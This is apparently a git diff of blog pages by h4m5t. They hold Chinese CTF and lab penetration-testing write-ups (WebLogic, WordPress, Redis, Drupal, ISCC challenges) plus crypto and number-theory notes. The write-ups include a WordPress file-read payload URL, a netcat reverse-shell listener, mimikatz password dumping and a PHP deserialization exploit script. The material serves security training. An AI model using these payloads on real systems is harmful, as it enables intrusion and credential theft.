image-20210506211116806

+

image-20210506211151526

+

任务五

1
2
利用已经登录到远程桌面的机器,上传mimikatz工具抓取机器内存中的密码。
利用抓取到的密码登录到另一台机器2.10中。
+ +

image-20210506211320381

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/04/30/%E6%B8%97%E9%80%8F1/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git "a/2021/05/02/\346\270\227\351\200\2172/index.html" "b/2021/05/02/\346\270\227\351\200\2172/index.html" new file mode 100644 index 000000000..39f31a139 --- /dev/null +++ "b/2021/05/02/\346\270\227\351\200\2172/index.html" @@ -0,0 +1,313 @@ +企业渗透2 | h4m5t's Blog + + + + + + + + + + + + +

企业渗透2

实验描述

操作机的操作系统是kali 进入系统后默认是命令行界面 输入startx命令即可打开图形界面。

+

所有需要用到的信息和工具都放在了/home/Hack 目录下。

+

本实验的任务是通过外网的两个主机通过代理渗透到内网的两个主机。在渗透的过程中一般需要先进行端口扫描猜测主机上运行的服务,再通过漏洞利用脚本和其他扫描工具进一步确定漏洞存在,进而完成主机渗透拿到权限。

+

实验目的

Weblogic的java反序列漏洞应用
Wordpress任意文件读取的漏洞利用
Wordpress命令执行的漏洞利用
WordPress通过自己修改的EXP,getshell
通过代理扫描内网
Redis未授权访问以及对配置文件的理解
Ffmpeg任意文件的读取结合redis的利用
Drupal由于YAML解析器处理不当导致远程代码执行

+

实验环境

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
操作系统IP地址服务器角色登录账户密码
Kali Linux192.168.2.10操作机用户名:root;密码:Simplexue123
Centos 7192.168.2.11目标机用户名:root;密码:Simplexue123
Centos 7192.168.1.10目标机用户名:root;密码:Simplexue123
Centos 7192.168.1.11目标机用户名:root;密码:Simplexue123
Centos 7192.168.2.200目标机用户名:root;密码:Simplexue123
+

任务一 Weblogic反序列化

1
2
整体扫描外部网络,探测暴露在外部的主机信息
利用java反序列化漏洞利用脚本执行系统命令。
+ +

实验目的

+

通过完成本实验任务,要求学生掌握利用java反序列化漏洞利用脚本攻击weblogic服务的技术。掌握weblogic服务的常见端口,启动jar程序的方法和攻击weblogic的流程、方法和技巧,为完成后续企业渗透实验任务奠定坚实的漏洞利用技术基础。

+

打开kal操作机

+

访问192.168.2.10:7001

+image-20210511164542470 + +

打开home/HACK目录下的工具

+image-20210511164750762 + +image-20210511165117929 + +

输入HOST、端口、以及CMD命令

+image-20210511165325031 + +

点击connect并执行

+

根据提示,找到/home/flag下的flag.txt文件

+image-20210511165712024 + +

任务二 Wordpress任意文件读取

任务内容:

+
1
2
使用wpscan工具扫描wordpress的插件漏洞
主要针对插件WP Hide Security Enhancer存在的任意文件读取漏洞,以此读取到网站主要文件。
+ +

image-20210511170357840

+

利用wpscan扫描wordpress网站,扫描漏洞插件

+

命令:wpscan –url 192.168.2.11 –enumerate p

+image-20210511170541006 + +

发现插件存在漏洞

+

根据提示直接上payload

+

http://192.168.2.11/wp-content/plugins/wp-hide-security-enhancer/router/file-process.ph p?action=style-clean&file_path=/wp-config.php

+

得到flag

+

image-20210511170853149

+

任务三 Wordpress命令执行

任务内容:

+
1
2
利用Burpsuite的repeater模块修改包探测漏洞存在的字段。
执行wordpress mailer命令执行漏洞的利用脚本尝试获取shell。
+ +

操作步骤

+
1
2
3
访问目标网站,在浏览器中配置代理,用Burpsuite拦截请求包
使用Burpsuite的repeater模块探测漏洞字段。
理解wordpress mailer漏洞的原理,执行wp.sh 脚本获取响应 信息
+ +

首先找到登陆入口

+image-20210511171155980 + +

对firefox及burpsuite设置代理,拦截请求。

+

image-20210511171245109

+

image-20210511171408750

+

image-20210511171428356

+

利用提供的脚本getshell,获得flag

+

任务四 改进漏洞利用脚本获得命令执行权限

实验目标

+
1
2
3
4
5
了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
熟悉sendmail命令语法。
掌握webshell命令执行漏洞的常规下载执行的利用思路。
掌握在浏览器上配置代理的方法。
掌握利用Burpsuite的repeater模块改包测试的过程。
+ +

实验步骤

+
1
2
3
4
查看漏洞利用脚本wordpress-rce-exploit.sh理解脚本改进的原理。
填写漏洞利用脚本的关键信息如反弹IP,监听端口等。本地监听设置的端口获取反弹的shell。
利用shell上传regeorg的tunnel.php文件,使用regeorg架设代理
通过proxychains设置好regeorg的代理,利用这个代理扫描内网1.0网段
+ +image-20210511180514611 + +

首先查看脚本内容

+

修改recv_host=”192.168.2.200”

+

设置监听端口

+

nc –lvvp 7777

+

反弹shell

+

任务五 redis未授权访问+ffmpeg 任意文件读取

任务内容:

+
1
2
查看网页中的信息可知,是通过ffmpeg处理视频的小应用,只有上传,下载和删除功能,此处存在ffmpeg文件读取漏洞,构造特定的avi视频,经过ffmpeg处理之后的视频就会包含想要的文件内容。利用文件读取漏洞获取redis配置文件内容。
redis数据库服务,允许外连且没有设置密码,可以随意访问,此处存在未授权访问漏洞,正常情况下可以写入文件,但是过程中发现,必要的config命令被替换了。而config命令的替换一定是写在redis的配置文件中的,配置文件的路径又可以在redis中执行info获取到。在以上环境中获取到redis服务器的shell。
+ +

image-20210511192133312

+

任务六 drupal8远程代码执行

1
2
3
使用浏览器挂代理访问内网机器192.168.1.10。
利用drupal8的php反序列化漏洞向目标服务器写入webshell。
使用Cknife连接已经生成的webshell
+ +

实验目标

+
1
2
3
4
5
了解网络安全漏洞的概念以及现有的安全漏洞扫描工具。认知常见网络安全漏洞。
熟悉网站webshell的概念,理解上传webshell、获取webshell权限的意义和方法。
掌握webshell工具Cknife的基本使用,特别是设置代理的功能,查看上传文件,命令执行等功能的使用。
掌握在浏览器上配置代理的方法。
掌握利用drupal8的php反序列化漏洞的攻击方法和相关的技术原理。
+ +

操作步骤

+
1
2
3
4
5
使用浏览器结合proxychains用之前的代理访问内网中的drupal8的web应用。
弱口令登录目标网站后台
利用反序列化漏洞执行phpinfo 探测网站信息
利用反序列化漏洞写入webshell,并测试存在
用Cknife设置代理连接webshell获取网站的权限
+ +

image-20210511192257809

+

image-20210511192310808

+

然后利用exp写入webshell

+

image-20210511192516771

+

中国菜刀连接,即可获得flag。

+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/05/02/%E6%B8%97%E9%80%8F2/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
\ No newline at end of file diff --git a/2021/05/06/ISCC/index.html b/2021/05/06/ISCC/index.html new file mode 100644 index 000000000..0bc491279 --- /dev/null +++ b/2021/05/06/ISCC/index.html @@ -0,0 +1,294 @@ +ISCC练武题 | h4m5t's Blog + + + + + + + + + + + + + +

ISCC练武题

ISCC练武题

适合新手的题,练练手

+

WEB-1

image-20210507222242720 + +

打开环境,是一个投票页面

+image-20210507222313417 + +

题目要求:在20秒之内让左边的票数高过右边的

+
    +
  • 方法一:Python写脚本模拟点击,实现刷票
  • +
  • 方法二:修改左右客服的ID
  • +
  • 方法三:直接在控制台修改左边票数的数据
  • +
+

WEB-2

查看源码

+image-20210507223605027 + +

是JS编码

+

http://www.jsfuck.com/

+

打开在线网站,直接提交这串编码即出flag

+
+

JSFuck is an esoteric and educational programming style based on the atomic parts of JavaScript. It uses only six different characters to write and execute code.

+

It does not depend on a browser, so you can even run it on Node.js.

+

Use the form below to convert your own script. Uncheck “eval source” to get back a plain string.

+
+

WEB-3

image-20210507224002677 + +

查看robots.txt

+

image-20210507224038667

+

继续查看code.txt

+

出现一串PHP代码

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
<p>code.txt</p>

if (isset ($_GET['password'])) {

if (preg_match ("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';

}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{

if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
+ +

根据正则表达以GET型提交即可。

+

注意是在根目录下提交GET请求。

+

image-20210507224313141

+

WEB-4

题目描述:ISCC客服一号冲冲冲(二)

+image-20210524115114413 + +

打开之后是个伪装的登录框(其实是图片)

+

但是图片显示不完整

+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
描述
visible默认值。内容不会被修剪,会呈现在元素框之外。
hidden内容会被修剪,并且其余内容是不可见的。
scroll内容会被修剪,但是浏览器会显示滚动条以便查看其余的内容。
auto如果内容被修剪,则浏览器会显示滚动条以便查看其余的内容。
inherit规定应该从父元素继承 overflow 属性的值。
+

根据 CSS 布局 - Overflow,可以看出图片的完整部分。

+

下载图片,并进行LSB隐写破解和压缩文件隐藏破解,发现行不通。

+

根据之前题目得到的flag进行POST提交

+

image-20210524142323165

+

修改admin

+

image-20210524142457440

+

image-20210524142752396

+

根据网上的提示,查看cookie,

+

CBC翻转攻击

+

image-20210524143139217

+

WEB-5

打开网页,是4张猫猫图片

+image-20210524145620439 + +

根据题目描述,这是一个ssti模板注入

+

这只猫叫小豆泥

+

信息收集:xiaodouni

+image-20210524145744276 + +

WEB-6

题目:Explore Ruby

+

WEB-7

打开之后是个登录框

+

尝试万能密码和SQL注入都没成功

+

然后尝试弱口令:test : test

+image-20210507224844092 + +

登录成功

+

image-20210507224920836

+

图片地址是base64编码

+

解密即可出flag

+

WEB-8

image-20210524154528742

+

源码如下:

+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
<?php

session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {

function __wakeup() {
global $cmd;
global $is_upload;
$cmd = "whoami";
$_SESSION['name'] = randstr(14);
$is_upload = (count($_FILES) > 0);
}

function __destruct() {
global $is_upload;
global $status;
global $iscc_file;
$status = "upload_fail";
if ($is_upload) {

foreach ($_FILES as $key => $value)
$GLOBALS[$key] = $value;

if(is_uploaded_file($iscc_file['tmp_name'])) {

$check = @getimagesize($iscc_file["tmp_name"]);

if($check !== false) {

$target_dir = "/var/tmp/";
$target_file = $target_dir . randstr(10);

if (file_exists($target_file)) {
echo "想啥呢?有东西了……<br>";
finalize();
exit;
}

if ($iscc_file["size"] > 500000) {
echo "东西塞不进去~<br>";
finalize();
exit;
}

if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) {
echo "我拿到了!<br>";
$iscc_file = $target_file;
$status = "upload_ok";
} else {
echo "拿不到:(<br>";
finalize();
exit;
}

} else {
finalize();
exit;
}

} else {
echo "你真是个天才!<br>";
finalize();
exit;
}
}
}
}

class ISCC_ResetCMD {

protected $new_cmd = "echo '新新世界,发号施令!'";

function __wakeup() {
global $cmd;
global $is_upload;
global $status;
$_SESSION['name'] = randstr(14);
$is_upload = false;

if(!isset($this->new_cmd)) {
$status = "error";
$error = "你这罐子是空的!";
throw new Exception($error);
}

if(!is_string($this->new_cmd)) {
$status = "error";
$error = '东西都没给对!';
throw new Exception($error);
}
}

function __destruct() {
global $cmd;
global $status;
$status = "reset";
if($_SESSION['name'] === 'isccIsCciScc1scc') {
$cmd = $this->new_cmd;
}
}

}

class ISCC_Login {

function __wakeup() {
$this->login();
}

function __destruct() {
$this->logout();
}

function login() {
$flag = file_get_contents("/flag");
$pAssM0rd = hash("sha256", $flag);
if($_GET['pAssM0rd'] === $pAssM0rd)
$_SESSION['name'] = "isccIsCciScc1scc";
}

function logout() {
global $status;
unset($_SESSION['name']);
$status = "finish";
}

}

class ISCC_TellMeTruth {

function __wakeup() {
if(!isset($_SESSION['name']))
$_SESSION['name'] = randstr(14);
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

function __destruct() {
echo "似乎这个 ".$_SESSION['name']." 是真相<br>";
}

}

class ISCC_Command {

function __wakeup() {
global $cmd;
global $is_upload;
$_SESSION['name'] = randstr(14);
$is_upload = false;
$cmd = "whoami";
}

function __toString() {
global $cmd;
return "看看你干的好事: {$cmd} <br>";
}

function __destruct() {
global $cmd;
global $status;
global $is_unser_finished;
$status = "cmd";
if($is_unser_finished === true) {
echo "看看你干的 [<span style='color:red'>{$cmd}</span>] 弄出了什么后果: ";
echo "<span style='color:blue'>";
@system($cmd);
echo "</span>";
}
}

}

function randstr($len)
{
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_=';
$randstring = '';
for ($i = 0; $i < $len; $i++) {
$randstring .= $characters[rand(0, strlen($characters))];
}
return $randstring;
}

function waf($s) {
if(stripos($s, "*") !== FALSE)
return false;
return true;
}

function finalize() {
$cmd = "";
$is_upload = false;
unset($_SESSION);
@unlink($iscc_file);
$status = "finish";
echo "<img src='whichisthetrueiscc.gif'><br>";
}


if(isset($_GET['whatareyounongshane'])) {
$whatareyounongshane = $_GET['whatareyounongshane'];
switch ($whatareyounongshane) {
case "src":
highlight_file(__FILE__);
break;
case "cmd":
echo "想越级干好事?还是有门的……";
header('Location: /?%3f=O:12:"ISCC_Command":0:{}');
break;
case "reset":
echo "几辈子积累的好运就在这时~:p";
header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}');
break;
case "upload":
$resp = <<<EOF
<form action="/index.php?%3f=O:11:%22ISCC_Upload%22:0:{}" method="post" enctype="multipart/form-data">
<input type="file" name="iscc_file">
<input type="submit" value="Upload Image" name="submit">
</form>
EOF;
echo $resp;
break;
case "tellmetruth":
echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg==");
header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}');
break;
default:
echo "空空如也就是我!";
}
finalize();
die("所以哪个ISCC是真的?<br>");
}

if(isset($_GET['?'])) {

$wtf = waf($_GET{'?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!"));

if($goodshit = @unserialize($wtf)) {
$is_unser_finished = true;
}

if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true))
finalize();
die("所以哪个ISCC是真的?<br>");
}

?>

<head>
<title>ISCC finder system - which is the true ISCC</title>
<meta charset="UTF-8">
<style>
* {
margin: 0;
padding: 0;
}

canvas {
display: block;
}


#snowfall {
width: 100%;
height: 100vh;
background: cornflowerblue;
}
</style>
</head>
<body>

<!--
████████████▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒████████████▒▒
████████████▒▒▒▒████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████
▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒██
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒████████▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒████▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒
▒▒▒▒████▒▒▒▒▒▒████▒▒▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██▒▒▒▒▒▒██████▒▒▒▒▒▒▒▒▒▒▒▒██
████████████▒▒██████████████████▒▒▒▒▒▒▒▒▒▒▒▒██████████████████▒▒▒▒▒▒▒▒██████████████████
████████████▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒██████████▒▒▒▒
-->
<script src="//cdn.jsdelivr.net/particles.js/2.0.0/particles.min.js"></script>
<div id="snowfall"></div>
<script>
particlesJS("snowfall", {
"particles": {
"number": {
"value": 100
},
"shape": {
"type": "circle"
},
"size": {
"value": 10,
"random": true
},
"line_linked": {
"enable": false
},
"move": {
"enable": true,
"speed": 2,
"direction": "bottom",
"straight": false
}
},
"interactivity": {
"detect_on": "canvas",
"events": {
"onhover": {
"enable": false
}
},
"modes": {
"push": {
"particles_nb": 12
}
}
}
});
</script>
<!--
<a href="/?whatareyounongshane=src">我真的是源码?</a>
<a href="/?whatareyounongshane=cmd">干点好事!</a>
<a href="/?whatareyounongshane=upload">送点东西!</a>
<a href="/?whatareyounongshane=tellmetruth">快告诉我真相!</a>
-->
</body>
所以哪个ISCC是真的?
+ +
1
2
3
4
5
6
7
8
9
10
11
import requests

url="http://39.96.91.106:7050/"

files={
'iscc_file':("b",open("1.png","rb")),
"_SESSION":("isccIsCciScc1scc","hello")
}

r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files)
print(r.text)
+ +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/05/06/ISCC/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
\ No newline at end of file diff --git a/2021/05/23/ganwu/index.html b/2021/05/23/ganwu/index.html new file mode 100644 index 000000000..afdb4217a --- /dev/null +++ b/2021/05/23/ganwu/index.html @@ -0,0 +1,196 @@ +六月加油 | h4m5t's Blog + + + + + + + + + + + + +

六月加油

马上就要高考了,受老师和同学之托,写一段加油的话给即将上高考战场的学弟学妹,也勉励未来的自己。

+
+

我们都不曾平庸,目的向来无关紧要,你所期待遇见的都在途中。所以啊,就把迷惘都写进诗里,在一路颠沛中弹奏成歌,在六月的阳光下高唱出来,惊起身后的鸥鸟,唱醒这早春的天,唱热你倔强的眼眶,唱遍你要去的地方。愿九月的你,生活在现在渴望的远方。

+
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/05/23/ganwu/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2021/05/31/360/index.html b/2021/05/31/360/index.html new file mode 100644 index 000000000..bdd2de4e7 --- /dev/null +++ b/2021/05/31/360/index.html @@ -0,0 +1,243 @@ +记一次360众测考核 | h4m5t's Blog + + + + + + + + + + + + +

记一次360众测考核

网址如下:

+

https://zhongce.360.cn/

+

想参与360众测活动,需要注册登陆,并完成考核。

+

考核内容

+

1.选择题

+

2.判断题

+

3.实战题(分值最大)

+

题目都比较简单,实战题是CTF形式,拿到一半以上的flag应该就可以通过了。

+

主要题型如下:

+

1.各种Web漏洞

+
    +
  • SQL注入
  • +
  • XSS跨站脚本攻击
  • +
  • 文件上传
  • +
  • 命令执行
  • +
  • 编辑器漏洞
  • +
+

2.流量分析题

+

比较简单,会用wireshark,分析简单的数据包就可以了。

+

3.CMS

+

针对特定CMS系统的分析题。

+

4.CVE

+

经典CVE的复现和分析。

+

总结了几个常考的点:

+
    +
  • GET\POST
  • +
  • CVE-2011-3923(struts2)
  • +
  • webshell上传
  • +
  • Samba远程命令执行漏洞(CVE-2017-7494)
  • +
  • drupa7-CVE-2018-7600
  • +
  • php文件包含(www.zip源码)
  • +
  • 6379端口Redis未授权访问漏洞
  • +
  • wireshark流量分析(xiaoma.php)
  • +
  • 文件上传绕过方式
  • +
  • SQL注入(sqlmap)(要知道注入点在哪)
  • +
  • 代码审计(php弱类型)
  • +
  • 873rsync服务
  • +
  • 后门扫描
  • +
  • Supervisor远程命令执行漏洞(CVE-2017-11610)
  • +
  • User-Agent头伪造
  • +
  • PHPMailer远程命令执行漏洞
  • +
  • Referer来源伪造
  • +
  • 万能密码
  • +
  • tomcat弱口令上传
  • +
  • CMS
  • +
  • 弱口令
  • +
  • Bash远程代码执行漏洞“破壳”(CVE-2014-6271)
  • +
  • Drupal 远程代码执行漏洞CVE-2019-6339
  • +
+360zc + +
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/05/31/360/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git "a/2021/08/05/\346\225\260\350\256\272/index.html" "b/2021/08/05/\346\225\260\350\256\272/index.html" new file mode 100644 index 000000000..46ccad29d --- /dev/null +++ "b/2021/08/05/\346\225\260\350\256\272/index.html" @@ -0,0 +1,233 @@ +初等数论学习 | h4m5t's Blog + + + + + + + + + + + + + + +

初等数论学习

+

补充信息安全数学基础,为密码学做点铺垫,学习一下初等数论

+
+

密码学中的数论基础

+
    +
  • 整除和带余除法
  • +
  • 欧几里得算法
  • +
  • 模运算
  • +
  • 素数
  • +
  • 费马定理和欧拉定理
  • +
  • 素性测试
  • +
  • 中国剩余定理
  • +
  • 离散对数
  • +
+

学习安排

+
    +
  • 整数的离散性
  • +
  • 整除的概念和性质
  • +
  • 带余数的除法
  • +
  • 欧几里得算法
  • +
  • 扩展欧几里得算法
  • +
  • 贝祖定理
  • +
  • 素数与合数
  • +
  • 算术基本定理
  • +
  • 公因数和公倍数
  • +
  • 同余的概念和性质
  • +
  • 同余类和剩余系
  • +
  • 费马小定理
  • +
  • 欧拉定理
  • +
  • 中国剩余定理
  • +
  • 拉格朗日定理
  • +
  • Wolstenholme定理
  • +
  • 二次剩余和欧拉判别
  • +
  • 高斯引理
  • +
  • 二次互反律
  • +
  • 原根
  • +
  • 高斯函数
  • +
  • 位运算和进位制
  • +
+
文章作者: h4m5t
文章链接: http://h4m5t.github.io/2021/08/05/%E6%95%B0%E8%AE%BA/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 h4m5t's Blog
avatar
h4m5t
人生得意需尽欢
Follow Me
公告
Welcome!
安全技术交流群753267126
网安考研交流群244768497
最新文章
HTB_Help
HTB_Bizness
HTB_MetaTwo
\ No newline at end of file diff --git a/2022/01/02/crypto/index.html b/2022/01/02/crypto/index.html new file mode 100644 index 000000000..19a620113 --- /dev/null +++ b/2022/01/02/crypto/index.html @@ -0,0 +1,558 @@ +密码学笔记 | h4m5t's Blog + + + + + + + + + + + + + +

密码学笔记

+

李卫海PPT学习笔记

+
+

其他概念

Needham-Schroeder协议

+

利用对称密码技术分发密钥。A,B分别与T有静态密钥。借助信任权威T,分发对称密钥Kab

+

多项式GCD算法

+

重点:模重复平方算法

+
1
2
3
4
5
6
c=1
for i =k-1 to 0:
c=(c^2)mod n
if ei==1:
c=c*m mod n
return
+ +

难点:AES列混合矩阵计算,有限域上的多项式模运算。

+

对合算法

+

对合运算:f =f‘ ,模 2加运算是对合运算。
密码算法是对和运算,则加密算法=解密算法,工程实现工
作量减半。

+

同态加密(英语:Homomorphic encryption)是一种加密形式,它允许人们对密文进行特定形式的代数运算得到仍然是加密的结果,将其解密所得到的结果与对明文进行同样的运算结果一样。换言之,这项技术令人们可以在加密的数据中进行诸如检索、比较等操作,得出正确的结果,而在整个处理过程中无需对数据进行解密。其意义在于,真正从根本上解决将数据及其操作委托给第三方时的保密问题,例如对于各种云计算的应用。

+

零知识证明是一种特殊的交互式证明,其中证明者知道问题的答案,他需要向验证者证明“他知道答案”这一事实,但是要求验证者不能获得答案的任何信息。

+

可以参考这样一个简单的例子。证明者和验证者都拿到了一个数独的题目,证明者知道一个解法,他可以采取如下这种零知识证明方法:他找出81张纸片,每一张纸片上写上1到9的一个数字,使得正好有9份写有从1到9的纸片。然后因为他知道答案,他可以把所有的纸片按照解法放在一个9乘9的方格内,使得满足数独的题目要求(每列、每行、每个九宫格都正好有1到9)。放好之后他把所有的纸片翻转,让没有字的一面朝上。这样验证者没办法看到纸片上的数字。接下来,验证者就验证数独的条件是否满足。比如他选一列,这时证明者就把这一列的纸片收集起来,把顺序任意打乱,然后把纸片翻过来,让验证者看到1到9的纸片都出现了。整个过程中验证者都无法得知每张纸片的位置,但是却能验证确实是1到9都出现了。

+

字频统计攻击

+

对凯撒密码,通过识别a-e-i或r-s-t三元组的峰,或jk和xyz的特征,可以获得密钥

+

对单表替换密码,破译步骤:

+
    +
  • 统计密文字母出现频率
  • +
  • 将统计结果与自然语言频率表对比,确定部分密钥
  • +
  • 结合连接特征和重复特征,确定部分密钥
  • +
  • 双、三字母的频率统计表往往很有帮助
  • +
  • 从语义上,猜测其它密钥
  • +
+

已知明文攻击(Known plaintext attack)是一种攻击模式,指攻击者掌握了某段明文 x 和对应密文 y。

+

在所有密码分析中,均假设攻击者知道正在使用的密码体制,该假设称为科克霍夫假设。而已知明文攻击也假设攻击者能够获取部分明文和相应密文,如截取信息前段,通过该类型攻击获取加密方式,从而便于破解后段密文。

+

希尔密码依赖唯密文攻击较难破解,而通过已知明文攻击则容易攻破。

+

